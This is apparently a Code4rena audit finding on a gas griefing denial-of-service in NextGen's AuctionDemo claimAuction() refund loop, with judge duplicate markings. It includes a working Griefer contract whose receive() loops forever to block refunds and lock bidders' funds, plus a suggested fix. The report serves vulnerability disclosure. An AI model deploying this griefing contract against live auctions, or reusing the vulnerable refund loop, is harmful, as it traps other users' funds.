AuctionDemo is susceptible to Gas Griefing Attack

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

The current state of the AuctionDemo handles bids and claiming an auction in a way that allows a griefing party to permanently lock all non-canceled bids using a griefing attack by forcing the claiming transaction out of gas. This attack could be as inexpensive as the attacker desires, given the absence of a minimum bid check in the current implementation of the auction.

The claimAuction() function iterates through non-canceled bids, refunds bidders, and transfers the auctioned NFT and the winning bid to the owner. However, a malicious contract can disrupt the process when funds are transferred to it.

The current claimAuction() function:

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Proof of Concept

The vulnerability arises when a griefing contract gets refunded on a placed bid. This happens because the griefing contract receive() intentionally runs out of gas when its being refunded using an infinite loop.

To reproduce this, add the next contract and interface at hardhat/smart-contracts/Griefer.sol and hardhat/smart-contracts/IAuction.sol

pragma solidity ^0.8.2;

interface IAuction {
    /**
     * @dev Participate in the auction by placing a bid on the specified token.
     * @param _tokenid The ID of the token in the auction.
     */
    function participateToAuction(uint256 _tokenid) external payable;
}

pragma solidity ^0.8.2;

import "./IAuction.sol";

contract Griefer {
    // Function to call participateToAuction and send msg.value
    function callParticipateToAuction(
        address _auctionContractAddress,
        uint256 index
    ) public payable {
        IAuction auction = IAuction(_auctionContractAddress);
        auction.participateToAuction{value: msg.value}(index);
    }

    // Fallback function that runs ot of gas
    receive() external payable {
        uint i = 0;
        while (true) {
        }
    }

}

Modify your fixtures hardhat/scripts/fixturesDeployment.js to add the griefer contract

const { ethers } = require("hardhat");

// Setup test environment:
const fixturesDeployment = async () => {
  const signersList = await ethers.getSigners();
  const owner = signersList[0];
  const addr1 = signersList[1];
  const addr2 = signersList[2];
  const addr3 = signersList[3];
  const addr4 = signersList[4];

  ...

  const nextGriefer = await ethers.getContractFactory("Griefer");
  const hhGriefer = await nextGriefer.deploy();

  const contracts = {
    hhAdmin: hhAdmin,
    hhCore: hhCore,
    hhDelegation: hhDelegation,
    hhMinter: hhMinter,
    hhAuction: hhAuction,
    hhRandomizer: hhRandomizer,
    hhRandoms: hhRandoms,
    hhGriefer: hhGriefer,
  };

  const signers = {
    owner: owner,
    addr1: addr1,
    addr2: addr2,
    addr3: addr3,
    addr4: addr4,
  };
   
   ...

Finally you can run the test with the next modified nextGen.test.js, which:

1. Sets an auction
2. Sets some legal bids
3. Bids as the griefer contract
4. Places winning bid
5. Checks for revert out of gas when the winner tries to claim.

Tools Used

vs code, hardhat

Recommended Mitigation Steps

Allowing the retrieval of any non-winning bids at all times and simplifying the claimAuction() function to handle only the winning bid.

    function cancelBid(uint256 _tokenid, uint256 index) public {
        // require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

    function cancelAllBids(uint256 _tokenid) public {
        // require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
            if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
                auctionInfoData[_tokenid][i].status = false;
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid);
            } else {}
        }
    }

    // claim Token After Auction

    function claimAuction(
        uint256 _tokenid
    ) public WinnerOrAdminRequired(_tokenid, this.claimAuction.selector) {
        require(
            block.timestamp >= minter.getAuctionEndTime(_tokenid) &&
                auctionClaim[_tokenid] == false &&
                minter.getAuctionStatus(_tokenid) == true
        );
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i = 0; i < auctionInfoData[_tokenid].length; i++) {
            if (
                auctionInfoData[_tokenid][i].bidder == highestBidder &&
                auctionInfoData[_tokenid][i].bid == highestBid &&
                auctionInfoData[_tokenid][i].status == true
            ) {
                IERC721(gencore).safeTransferFrom(
                    ownerOfToken,
                    highestBidder,
                    _tokenid
                );
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            }
        }
    }

It should be noted that this only resolves the issue in the scope of the griefer attack; the claiming functions in the current state still allow another kind of DoS attack, which has been dealt with in a separate issue.

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #843

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1782

[c4-judge]

alex-ppg marked the issue as satisfactory